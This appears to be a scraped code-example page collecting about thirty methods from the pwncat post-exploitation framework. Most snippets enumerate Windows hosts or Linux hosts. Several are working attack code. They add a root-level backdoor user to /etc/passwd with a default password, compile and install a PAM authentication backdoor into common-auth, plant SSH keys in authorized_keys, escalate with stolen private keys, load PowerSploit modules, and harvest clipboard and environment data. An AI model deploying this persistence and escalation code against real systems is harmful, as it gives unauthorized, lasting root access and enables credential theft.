Пример #1
0
    def enumerate(self, session: "pwncat.manager.Session"):
        """Yield WindowsGroup objects"""

        try:
            groups = session.platform.powershell("Get-LocalGroup")
            if not groups:
                raise ModuleFailed("no groups returned from Get-LocalGroup")
        except PowershellError as exc:
            raise ModuleFailed(str(exc)) from exc

        for group in groups[0]:
            try:
                members = session.platform.powershell(
                    f"Get-LocalGroupMember {group['Name']}")
                if members:
                    members = ([m["SID"] for m in members[0]] if isinstance(
                        members[0], list) else [members[0]["SID"]["Value"]])
            except PowershellError:
                members = []

            yield WindowsGroup(
                source=self.name,
                name=group["Name"],
                gid=group["SID"],
                description=group["Description"],
                principal_source=group["PrincipalSource"],
                members=members,
            )
Пример #2
0
    def enumerate(self, session):

        registry_value = "AlwaysInstallElevated"
        registry_keys = [
            "HKCU:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\",
            "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\",
        ]

        for registry_key in registry_keys:
            try:
                result = session.platform.powershell(
                    f"Get-ItemPropertyValue {registry_key} -Name {registry_value}"
                )

                if not result:
                    raise ModuleFailed(
                        f"failed to retrieve registry value {registry_value}")

                status = bool(result[0])

            except PowershellError as exc:
                if "does not exist" in exc.message:
                    status = bool(0)  # default
                else:
                    raise ModuleFailed(
                        f"could not retrieve registry value {registry_value}: {exc}"
                    ) from exc

            if registry_key.startswith("HKCU"):
                yield AlwaysInstallElevatedData(self.name, status,
                                                "current user")
            else:
                yield AlwaysInstallElevatedData(self.name, status,
                                                "local machine")
Пример #3
0
    def escalate(self, session: "pwncat.manager.Session"):
        """Escalate to the owner of this private key with a local ssh call"""

        if not self.authorized:
            raise ModuleFailed("key is not authorized or failed")

        if session.platform.which("ssh") is None:
            raise ModuleFailed("no local ssh binary")

        current_user = session.current_user()
        user = session.find_user(uid=self.uid)

        # Upload the private key
        with session.platform.tempfile(suffix="", mode="w") as dest:
            privkey_path = dest.name
            dest.write(self.content)

        # Set permissions on private key
        session.platform.chown(privkey_path, current_user.id, current_user.gid)
        session.platform.chmod(privkey_path, 0o600)

        # Execute SSH
        proc = session.platform.Popen(
            [
                "ssh",
                "-i",
                privkey_path,
                "-o",
                "StrictHostKeyChecking=no",
                "-o",
                "PasswordAuthentication=no",
                "-o",
                "ChallengeResponseAuthentication=no",
                f"{user.name}@localhost",
            ],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stdin=subprocess.PIPE,
        )

        # Wait a second to see if there's an error from ssh
        time.sleep(1)
        if proc.poll() is not None:
            self.authorized = False
            self.types.remove("implant.replace")
            self.types.remove("implant.remote")
            session.db.transaction_manager.commit()
            raise ModuleFailed(
                f"ssh to localhost failed w/ exit code {proc.returncode}")

        # Detach the popen object
        proc.detach()

        return lambda session: session.platform.channel.send(b"exit\n")
Пример #4
0
    def escalate(self, session: "pwncat.manager.Session"):

        try:
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = list(filp)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to read /etc/passwd")

        backdoor_user = session.config.get("backdoor_user", "pwncat")
        backdoor_pass = session.config.get("backdoor_pass", "pwncat")
        shell = session.platform.getenv("SHELL")

        # Hash the backdoor password
        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)

        if not any(
                line.startswith(f"{backdoor_user}:")
                for line in passwd_contents):

            # Add our password
            "".join(passwd_contents)
            new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
            passwd_contents.append(new_line)

            try:
                # Write the modified password entry back
                with self.ability.open(session, "/etc/passwd", "w") as filp:
                    filp.writelines(passwd_contents)

                # Ensure we track the tampered file
                session.register_fact(
                    PasswdImplant(
                        "linux.implant.passwd",
                        backdoor_user,
                        backdoor_pass,
                        new_line,
                    ))
            except (FileNotFoundError, PermissionError):
                raise ModuleFailed("failed to write /etc/passwd")

        else:
            console.log(
                f"[cyan]{backdoor_user}[/cyan] already exists; attempting authentication"
            )

        try:
            session.platform.su(backdoor_user, password=backdoor_pass)
            return lambda session: session.platform.channel.send(b"exit\n")
        except PermissionError:
            raise ModuleFailed("added user, but switch user failed")
Пример #5
0
    def remove(self, session: "pwncat.manager.Session"):
        """Remove the installed implant"""

        if session.current_user().id != 0:
            raise ModuleFailed(
                "root permissions required to remove pam module")

        config_path = session.platform.Path("/etc/pam.d")

        # Remove the configuration files
        for config in self.configs:
            try:
                with (config_path / config).open("r") as filp:
                    contents = filp.readlines()
                with (config_path / config).open("w") as filp:
                    filp.writelines(line for line in contents
                                    if line != self.line)
            except (PermissionError, FileNotFoundError):
                continue

        # Remove the module
        try:
            session.platform.unlink(self.module_path)
        except FileNotFoundError:
            pass

        # Track the log file separately now
        session.register_fact(CreatedFile(self.source, 0, self.log))
Пример #6
0
    def escalate(self, session: "pwncat.manager.Session"):
        """Escalate to root with the pam implant"""

        try:
            session.platform.su("root", password=self.password)
        except (PermissionError, PlatformError) as exc:
            raise ModuleFailed(str(exc)) from exc
Пример #7
0
    def kill(self, session):
        """Attempt to kill the process"""

        try:
            session.platform.powershell(f"(Get-Process -Id {self.pid}).Kill()")
        except PowershellError as exc:
            raise ModuleFailed(f"failed to kill process {self.pid}") from exc
Пример #8
0
    def revert(self, session: "pwncat.manager.Session"):

        if self.data is None:
            raise ModuleFailed("original data not preserved")

        current_uid = session.platform.getuid()
        if current_uid != self.uid:
            target_user = session.find_user(uid=self.uid)
            raise ModuleFailed(
                f"incorrect permission (need: {target_user.name})")

        # Re-write the original data to the file
        with session.platform.open(self.path, "wb") as filp:
            filp.write(self.data)

        self.reverted = True
Пример #9
0
    def revert(self, session: "pwncat.manager.Session"):
        """Attempt to revert the tamper through the given session.

        :param session: the session on which to operate
        :type session: pwncat.manager.Session
        """
        raise ModuleFailed("not reverable")
Пример #10
0
    def enumerate(self, session):

        try:
            result = session.platform.powershell(
                "Get-ChildItem env:\\ | Select Name,Value")

            if not result:
                raise ModuleFailed("failed to retrieve env: PSDrive")

            environment = result[0]

        except PowershellError as exc:
            raise ModuleFailed("failed to retrieve env: PSDrive") from exc

        for pair in environment:
            yield EnvironmentData(self.name, pair["Name"], pair["Value"])
Пример #11
0
    def revert(self, session: "pwncat.manager.Session"):

        try:
            session.platform.Path(self.path).rmdir()
        except PermissionError:
            raise ModuleFailed("permission error")

        self.reverted = True
Пример #12
0
    def escalate(self, session: "pwncat.manager.Session"):
        """Escalate privileges to the fake root account"""

        try:
            session.platform.su(self.user, password=self.password)
            return lambda session: session.platform.channel.send(b"exit\n")
        except PermissionError:
            raise ModuleFailed(f"authentication as {self.user} failed")
Пример #13
0
    def remove(self, session: "pwncat.manager.Session"):
        """Remove the added line"""

        if session.platform.getuid() != 0:
            raise ModuleFailed("removal requires root privileges")

        try:
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = [line for line in filp if line != self.added_line]
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to read /etc/passwd")

        try:
            with session.platform.open("/etc/passwd", "w") as filp:
                filp.writelines(passwd_contents)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to write /etc/passwd")
Пример #14
0
    def install(
        self,
        session: "pwncat.manager.Session",
        backdoor_user,
        backdoor_pass,
        shell,
    ):
        """Add the new user"""

        if session.current_user().id != 0:
            raise ModuleFailed("installation required root privileges")

        if shell == "current":
            shell = session.platform.getenv("SHELL")
        if shell is None:
            shell = "/bin/sh"

        try:
            yield Status("reading passwd contents")
            with session.platform.open("/etc/passwd", "r") as filp:
                passwd_contents = list(filp)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("faild to read /etc/passwd")

        # Hash the password
        yield Status("hashing password")
        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)

        # Store the new line we are adding
        new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""

        # Add the new line
        passwd_contents.append(new_line)

        try:
            # Write the new contents
            yield Status("patching /etc/passwd")
            with session.platform.open("/etc/passwd", "w") as filp:
                filp.writelines(passwd_contents)

            # Return an implant tracker
            return PasswdImplant(self.name, backdoor_user, backdoor_pass, new_line)
        except (FileNotFoundError, PermissionError):
            raise ModuleFailed("failed to write /etc/passwd")
Пример #15
0
    def enumerate(self, session):

        if not session.platform.is_admin():
            session.log(
                "[yellow]protections warning[/yellow]: not all Defender data can be received without admin privileges"
            )

        try:
            result = session.platform.powershell("Get-MpPreference", depth=5)
            # session.print(result[0])

            if not result:
                raise ModuleFailed("could not retrieve Get-MpPreference")

            yield DefenderData(self.name, result[0])

        except PowershellError as exc:
            raise ModuleFailed(
                f"could not retrieve Get-MpPreference: {exc}") from exc
Пример #16
0
    def revert(self, session: "pwncat.manager.Session"):

        try:
            session.platform.Path(self.path).unlink()
        except FileNotFoundError:
            pass
        except PermissionError:
            raise ModuleFailed("permission error")

        self.reverted = True
Пример #17
0
    def enumerate(self, session: "pwncat.manager.Session"):

        query_system_info = """
        function query_sysinfo {
          $os_info = (Get-CimInstance Win32_operatingsystem)
          $hostname = [System.Net.Dns]::GetHostName()

          [PsCustomObject]@{
            HostName = $hostname;
            BuildNumber = $os_info.BuildNumber;
            BuildType = $os_info.BuildType;
            CountryCode = $os_info.CountryCode;
            TimeZone = $os_info.CurrentTimeZone;
            DEP = [PsCustomObject]@{
              Available = $os_info.DataExecutionPrevention_Available;
              Available32 = $os_info.DataExecutionPrevention_32bitApplications;
              Drivers = $os_info.DataExecutionPrevention_Drivers;
              SupportPolicy = $os_info.DataExecutionPrevention_SupportPolicy;
            };
            Debug = $os_info.Debug;
            Description = $os_info.Description;
            InstallDate = $os_info.InstallDate;
            LastBootUpTime = $os_info.LastBootUpTime;
            Name = $os_info.Name;
            Architecture = $os_info.OSArchitecture;
            Language = $os_info.OSLanguage;
            Suite = $os_info.OSProductSuite;
            Type = $os_info.OSType;
            ServicePackMajor = $os_info.ServicePackMajorVersion;
            ServicePackMinor = $os_info.ServicePackMinorVersion;
            Version = $os_info.Version;
          }
        }
        query_sysinfo
        """.replace("query_sysinfo", random_string(8))

        try:
            info = session.platform.powershell(query_system_info)[0]
        except PowershellError as exc:
            raise ModuleFailed(f"failed to load sysinfo function: {exc}")

        yield DistroVersionData(
            self.name,
            info["Name"].split("|")[0],
            info["BuildType"],
            info["BuildNumber"],
            info["Version"],
        )

        yield HostnameData(self.name, info["HostName"])

        yield ArchData(self.name, info["Architecture"])
Пример #18
0
    def trigger(self, manager: "pwncat.manager.Manager",
                target: "pwncat.target.Target"):
        """Connect remotely to this target with the specified user and key"""

        if not self.authorized:
            raise ModuleFailed("key is not authorized or failed")

        # Find the user for this UID
        for fact in target.facts:
            if "user" in fact.types and fact.id == self.uid:
                user = fact
                break
        else:
            raise ModuleFailed(f"unknown username for uid={self.uid}")

        with tempfile.NamedTemporaryFile("w") as filp:
            filp.write(self.content)
            filp.flush()

            pathlib.Path(filp.name).chmod(0o600)

            try:
                # Connect via SSH
                session = manager.create_session(
                    "linux",
                    host=target.public_address[0],
                    user=user.name,
                    identity=filp.name,
                )
            except ChannelError as exc:
                manager.log(
                    f"[yellow]warning[/yellow]: {self.source} implant failed; removing implant types."
                )
                self.authorized = False
                self.types.remove("implant.remote")
                self.types.remove("implant.replace")
                raise ModuleFailed(str(exc)) from exc

            return session
Пример #19
0
    def remove(self, session: "pwncat.manager.Session"):
        """Normal private key facts don't remove the key, but we need to. In this
        case the fact is removed as well, unlike a standard private key fact."""

        current_user = session.current_user()
        user = session.find_user(uid=self.uid)

        if current_user.id != self.uid and current_user.id != 0:
            raise ModuleFailed(f"must be root or {user.name}")

        # Ensure the directory exists
        homedir = session.platform.Path(user.home)
        if not (homedir / ".ssh").is_dir():
            return

        authkeys_path = homedir / ".ssh" / "authorized_keys"

        if not authkeys_path.is_file():
            return

        try:
            with authkeys_path.open("r") as filp:
                authkeys = [
                    line for line in filp.readlines() if line != self.pubkey
                ]
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        try:
            with authkeys_path.open("w") as filp:
                filp.writelines(authkeys)
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Fix permissions (in case the file was replaced by the above write)
        session.platform.chown(str(authkeys_path), user.id, user.gid)
        authkeys_path.chmod(0o600)
Пример #20
0
    def enumerate(self, session):

        # Reference:
        # https://book.hacktricks.xyz/windows/authentication-credentials-uac-and-efs#uac

        registry_key = (
            "HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\"
        )

        registry_values = {
            "EnableLUA": bool,
            "ConsentPromptBehaviorAdmin": int,
            "LocalAccountTokenFilterPolicy": bool,
            "FilterAdministratorToken": bool,
        }

        for registry_value, registry_type in registry_values.items():
            try:
                result = session.platform.powershell(
                    f"Get-ItemPropertyValue {registry_key} -Name {registry_value}"
                )

                if not result:
                    raise ModuleFailed(
                        f"failed to retrieve registry value {registry_value}")

                registry_values[registry_value] = registry_type(result[0])

            except PowershellError as exc:
                if "does not exist" in exc.message:
                    registry_values[registry_value] = registry_type(0)
                else:
                    raise ModuleFailed(
                        f"could not retrieve registry value {registry_value}: {exc}"
                    ) from exc

            yield UACData(self.name, registry_values)
Пример #21
0
    def enumerate(self, session):

        registry_value = "RunAsPPL"
        registry_key = "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\LSA"

        try:
            result = session.platform.powershell(
                f"Get-ItemPropertyValue {registry_key} -Name {registry_value}")

            if not result:
                raise ModuleFailed(
                    f"failed to retrieve registry value {registry_value}")

            status = bool(result[0])

        except PowershellError as exc:
            if "does not exist" in exc.message:
                status = bool(0)  # default
            else:
                raise ModuleFailed(
                    f"could not retrieve registry value {registry_value}: {exc}"
                ) from exc

            yield LSAProtectionData(self.name, status)
Пример #22
0
    def enumerate(self, session):

        try:
            program_files = session.platform.powershell(
                'Get-ChildItem "C:\\Program Files","C:\\Program Files (x86)" -ErrorAction SilentlyContinue | Select Fullname'
            )[0]

            if not isinstance(program_files, list):
                program_files = [program_files]

            for path in program_files:
                yield InstalledProgramData(self.name, path["FullName"])

        except (PowershellError, IndexError) as exc:
            raise ModuleFailed(
                f"failed to list program file directories: {exc}") from exc
Пример #23
0
    def enumerate(self, session):

        try:
            result = session.platform.powershell("Get-Clipboard")

            if not result:
                return

            if isinstance(result[0], list) and result:
                contents = "\n".join(result[0])
            else:
                contents = result[0]

        except PowershellError as exc:
            raise ModuleFailed(
                "failed to retrieve clipboard contents") from exc

        yield ClipboardData(self.name, contents)
Пример #24
0
    def enumerate(self, session):

        script = """
Get-WmiObject -Class Win32_Process | % {
    [PSCustomObject]@{
        commandline=$_.CommandLine;
        description=$_.Description;
        path=$_.ExecutablePath;
        state=$_.ExecutionState;
        handle=$_.Handle;
        name=$_.Name;
        id=$_.ProcessId;
        session=$_.SessionId;
        owner=$_.GetOwnerSid().Sid;
    }
}
        """

        try:
            yield Status("requesting process list...")
            processes = session.platform.powershell(script)[0]
        except (IndexError, PowershellError) as exc:
            raise ModuleFailed(f"failed to get running processes: {exc}")

        for proc in processes:
            yield ProcessData(
                source=self.name,
                name=proc["name"],
                pid=proc["id"],
                session=proc.get("session"),
                owner=proc["owner"],
                state=proc["state"],
                commandline=proc["commandline"],
                path=proc["path"],
                handle=proc["handle"],
            )
Пример #25
0
    def run(self, session: "pwncat.manager.Session", group: str):

        # Use the result system so that other modules can query available groups
        if group == "list":
            yield from (GroupInfo(name) for name in self.MODULES.keys())
            return

        # Ensure the user selected a valid group
        if group not in self.MODULES:
            raise ModuleFailed(f"no such PowerSploit module: {group}")

        # Iterate over all sources in the group
        for url in self.MODULES[group]:
            yield Status(f"loading {url.split('/')[-1]}")

            path = pkg_resources.resource_filename(
                "pwncat", os.path.join("data/PowerSploit", url))

            try:
                # Attempt to load the script in the PowerShell context.
                session.run("manage.powershell.import", path=path)
            except PowershellError as exc:
                # We failed, but continue loading other scripts. Just let the user know.
                session.log(f"while loading {url.split('/')[-1]}: {str(exc)}")
Пример #26
0
    def run(self, session, remove, escalate):
        """Perform the requested action"""

        if (not remove and not escalate) or (remove and escalate):
            raise ModuleFailed("expected one of escalate or remove")

        # Look for matching implants
        implants = list(
            implant
            for implant in session.run("enumerate", types=["implant.*"])
            if not escalate or "implant.replace" in implant.types
            or "implant.spawn" in implant.types)

        try:
            session._progress.stop()

            console.print("Found the following implants:")
            for i, implant in enumerate(implants):
                console.print(f"{i+1}. {implant.title(session)}")

            if remove:
                prompt = "Which should we remove (e.g. '1 2 4', default: all)? "
            elif escalate:
                prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? "

            while True:
                selections = Prompt.ask(prompt, console=console)
                if selections == "":
                    break

                try:
                    implant_ids = [int(idx.strip()) for idx in selections]
                    # Filter the implants
                    implants: List[Implant] = [
                        implants[i - 1] for i in implant_ids
                    ]
                    break
                except (IndexError, ValueError):
                    console.print("[red]error[/red]: invalid selection!")

        finally:
            session._progress.start()

        nremoved = 0

        for implant in implants:
            if remove:
                try:
                    yield Status(f"removing: {implant.title(session)}")
                    implant.remove(session)
                    session.target.facts.remove(implant)
                    nremoved += 1
                except KeepImplantFact:
                    # Remove implant types but leave the fact
                    implant.types.remove("implant.remote")
                    implant.types.remove("implant.replace")
                    implant.types.remove("implant.spawn")
                    nremoved += 1
                except ModuleFailed:
                    session.log(
                        f"[red]error[/red]: removal failed: {implant.title(session)}"
                    )
            elif escalate:
                try:
                    yield Status(
                        f"attempting escalation with: {implant.title(session)}"
                    )
                    result = implant.escalate(session)

                    if "implant.spawn" in implant.types:
                        # Move to the newly established session
                        session.manager.target = result
                    else:
                        # Track the new shell layer in the current session
                        session.layers.append(result)
                        session.platform.refresh_uid()

                    session.log(
                        f"escalation [green]succeeded[/green] with: {implant.title(session)}"
                    )
                    break
                except ModuleFailed:
                    continue
        else:
            if escalate:
                raise ModuleFailed(
                    "no working local escalation implants found")

        if nremoved:
            session.log(f"removed {nremoved} implants from target")

        # Save database modifications
        session.db.transaction_manager.commit()
Пример #27
0
    def install(self, session: "pwncat.manager.Session", user, key):

        yield Status("verifying user permissions")
        current_user = session.current_user()
        if user != "__pwncat_current__" and current_user.id != 0:
            raise ModuleFailed(
                "only root can install implants for other users")

        if not os.path.isfile(key):
            raise ModuleFailed(f"private key {key} does not exist")

        try:
            yield Status("reading public key")
            with open(key + ".pub", "r") as filp:
                pubkey = filp.read().rstrip("\n") + "\n"
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Parse user name (default is current user)
        if user == "__pwncat_current__":
            user_info = current_user
        else:
            user_info = session.find_user(name=user)

        # Ensure the user exists
        if user_info is None:
            raise ModuleFailed(f"user [blue]{user}[/blue] does not exist")

        # Ensure we haven't already installed for this user
        for implant in session.run("enumerate", types=["implant.*"]):
            if implant.source == self.name and implant.uid == user_info.uid:
                raise ModuleFailed(
                    f"{self.name} already installed for {user_info.name}")

        # Ensure the directory exists
        yield Status("locating authorized keys")
        homedir = session.platform.Path(user_info.home)
        if not (homedir / ".ssh").is_dir():
            (homedir / ".ssh").mkdir(parents=True, exist_ok=True)

        authkeys_path = homedir / ".ssh" / "authorized_keys"

        if authkeys_path.is_file():
            try:
                yield Status("reading authorized keys")
                with authkeys_path.open("r") as filp:
                    authkeys = filp.readlines()
            except (FileNotFoundError, PermissionError) as exc:
                raise ModuleFailed(str(exc)) from exc
        else:
            authkeys = []

        # Add the public key to authorized keys
        authkeys.append(pubkey)

        try:
            yield Status("patching authorized keys")
            with authkeys_path.open("w") as filp:
                filp.writelines(authkeys)
        except (FileNotFoundError, PermissionError) as exc:
            raise ModuleFailed(str(exc)) from exc

        # Ensure correct permissions
        yield Status("fixing authorized keys permissions")
        session.platform.chown(str(authkeys_path), user_info.id, user_info.gid)
        authkeys_path.chmod(0o600)

        return AuthorizedKeyImplant(self.name, user_info, key, pubkey)
Пример #28
0
    def install(self, session: "pwncat.manager.Session", password, log):
        """install the pam module"""

        if session.current_user().id != 0:
            raise ModuleFailed(
                "root permissions required to install pam module")

        if any(i.source == self.name
               for i in session.run("enumerate", types=["implant.replace"])):
            raise ModuleFailed(
                "only one pam implant may be installed at a time")

        yield Status("loading pam module source code")
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"),
                  "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")
        for selinux in session.run("enumerate", types=["system.selinux"]):
            if selinux.enabled and "enforc" in selinux.mode:
                raise ModuleFailed("selinux enabled in enforce mode")
            elif selinux.enabled:
                session.log(
                    "[yellow]warning[/yellow]: selinux is enabled; implant will be logged!"
                )

        # Hash the backdoor password and prepare for source injection
        password_hash = ",".join(
            hex(c) for c in hashlib.sha1(password.encode("utf-8")).digest())

        yield Status("patching module source code")

        # Inject password hash into source code
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Inject log path
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        try:
            yield Status("compiling pam module")
            lib_path = session.platform.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (PlatformError, NotImplementedError) as exc:
            raise ModuleFailed(str(exc)) from exc

        try:
            yield Status("locating pam modules... ")
            result = session.platform.run(
                "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'",
                shell=True,
                capture_output=True,
                text=True,
                check=True,
            )
            pam_location = session.platform.Path(
                result.stdout.strip().split("\n")[0]).parent
        except CalledProcessError as exc:
            try:
                session.platform.run(["rm", "-f", lib_path], check=True)
            except CalledProcessError:
                session.register_fact(
                    CreatedFile(source=self.name, uid=0, path=lib_path))
            raise ModuleFailed(
                "failed to locate pam installation location") from exc

        yield Status("copying pam module")
        session.platform.run(
            ["mv", lib_path,
             str(pam_location / "pam_succeed.so")])

        added_line = "auth\tsufficient\tpam_succeed.so\n"
        modified_configs = []
        config_path = session.platform.Path("/", "etc", "pam.d")

        yield Status("patching pam configuration: ")
        for config in ["common-auth"]:
            yield Status(f"patching pam configuration: {config}")

            try:
                with (config_path / config).open("r") as filp:
                    content = filp.readlines()
            except (PermissionError, FileNotFoundError):
                continue

            any("pam_rootok" in line for line in content)
            for i, line in enumerate(content):
                if "pam_rootok" in line:
                    content.insert(i + 1, added_line)
                    break
                elif line.startswith("auth"):
                    content.insert(i, added_line)
                    break
            else:
                content.append(added_line)

            try:
                with (config_path / config).open("w") as filp:
                    filp.writelines(content)
                modified_configs.append(config)
            except (PermissionError, FileNotFoundError):
                continue

        if not modified_configs:
            (pam_location / "pam_succeed.so").unlink()
            raise ModuleFailed("failed to add module to configuration")

        return PamImplant(
            self.name,
            password,
            log,
            str(pam_location / "pam_succeed.so"),
            modified_configs,
            added_line,
        )
Пример #29
0
    def run(self, session: "pwncat.manager.Session", output, template, fmt,
            custom):
        """Perform enumeration and optionally write report"""

        if custom:
            env = jinja2.Environment(
                loader=jinja2.FileSystemLoader(os.getcwd()),
                # autoescape=jinja2.select_autoescape(["md", "html"]),
                trim_blocks=True,
                lstrip_blocks=True,
            )
        else:
            env = jinja2.Environment(
                loader=jinja2.PackageLoader("pwncat", "data/reports"),
                # autoescape=jinja2.select_autoescape(["md", "html"]),
                trim_blocks=True,
                lstrip_blocks=True,
            )

        if template == "platform name":
            use_platform = True
            template = session.platform.name
        else:
            use_platform = False

        env.filters["first_or_none"] = lambda thing: thing[0
                                                           ] if thing else None
        env.filters["attr_or"] = (
            lambda fact, name, default=None: getattr(fact, name)
            if fact is not None else default)
        env.filters["title_or_unknown"] = (
            lambda fact: strip_markup(fact.title(session))
            if fact is not None else "unknown")
        env.filters["remove_rich"] = lambda thing: strip_markup(str(thing))
        env.filters["table"] = self.generate_markdown_table

        try:
            template = env.get_template(f"{template}.{fmt}")
        except jinja2.TemplateNotFound as exc:
            if use_platform:
                try:
                    template = env.get_template(f"generic.{fmt}")
                except jinja2.TemplateNotFound as exc:
                    raise ModuleFailed(str(exc)) from exc
            else:
                raise ModuleFailed(str(exc)) from exc

        # Just some convenience things for the templates
        context = {
            "target": session.target,
            "manager": session.manager,
            "session": session,
            "platform": session.platform,
            "datetime": datetime.datetime.now(),
        }

        try:
            if output != "terminal":
                with open(output, "w") as filp:
                    template.stream(context).dump(filp)
            else:
                markdown = Markdown(template.render(context), hyperlinks=False)
                console.print(markdown)
        except jinja2.TemplateError as exc:
            raise ModuleFailed(str(exc)) from exc
Пример #30
0
    def enumerate(self, session: "pwncat.manager.Session"):

        try:
            users = session.platform.powershell("Get-LocalUser")
            if not users:
                raise ModuleFailed("no users returned from Get-Localuser")
        except PowershellError as exc:
            raise ModuleFailed(str(exc)) from exc

        users = users[0]

        for user in users:
            yield WindowsUser(
                source=self.name,
                name=user["Name"],
                uid=user["SID"],
                account_expires=None,
                description=user["Description"],
                enabled=user["Enabled"],
                full_name=user["FullName"],
                password_changeable_date=None,
                password_expires=None,
                user_may_change_password=user["UserMayChangePassword"],
                password_required=user["PasswordRequired"],
                password_last_set=None,
                last_logon=None,
                principal_source=user["PrincipalSource"],
            )

        well_known = {
            "S-1-0-0": "NULL AUTHORITY\\NOBODY",
            "S-1-1-0": "WORLD AUTHORITY\\Everyone",
            "S-1-2-0": "LOCAL AUTHORITY\\Local",
            "S-1-3-0": "CREATOR AUTHORITY\\Creator Owner",
            "S-1-3-1": "CREATOR AUTHORITY\\Creator Group",
            "S-1-3-4": "CREATOR AUTHORITY\\Owner Rights",
            "S-1-4": "NONUNIQUE AUTHORITY",
            "S-1-5-1": "NT AUTHORITY\\DIALUP",
            "S-1-5-2": "NT AUTHORITY\\NETWORK",
            "S-1-5-3": "NT AUTHORITY\\BATCH",
            "S-1-5-4": "NT AUTHORITY\\INTERACTIVE",
            "S-1-5-6": "NT AUTHORITY\\SERVICE",
            "S-1-5-7": "NT AUTHORITY\\ANONYMOUS",
            "S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS",
            "S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF",
            "S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS",
            "S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE",
            "S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS",
            "S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON",
            "S-1-5-17": "NT AUTHORITY\\IUSR",
            "S-1-5-18": "NT AUTHORITY\\SYSTEM",
            "S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE",
            "S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE",
        }

        for sid, name in well_known.items():
            yield WindowsUser(
                source=self.name,
                name=name,
                uid=sid,
                account_expires=None,
                description=None,
                enabled=True,
                full_name=name,
                password_changeable_date=None,
                password_expires=None,
                user_may_change_password=None,
                password_required=None,
                password_last_set=None,
                last_logon=None,
                principal_source="well known sid",
                well_known=True,
            )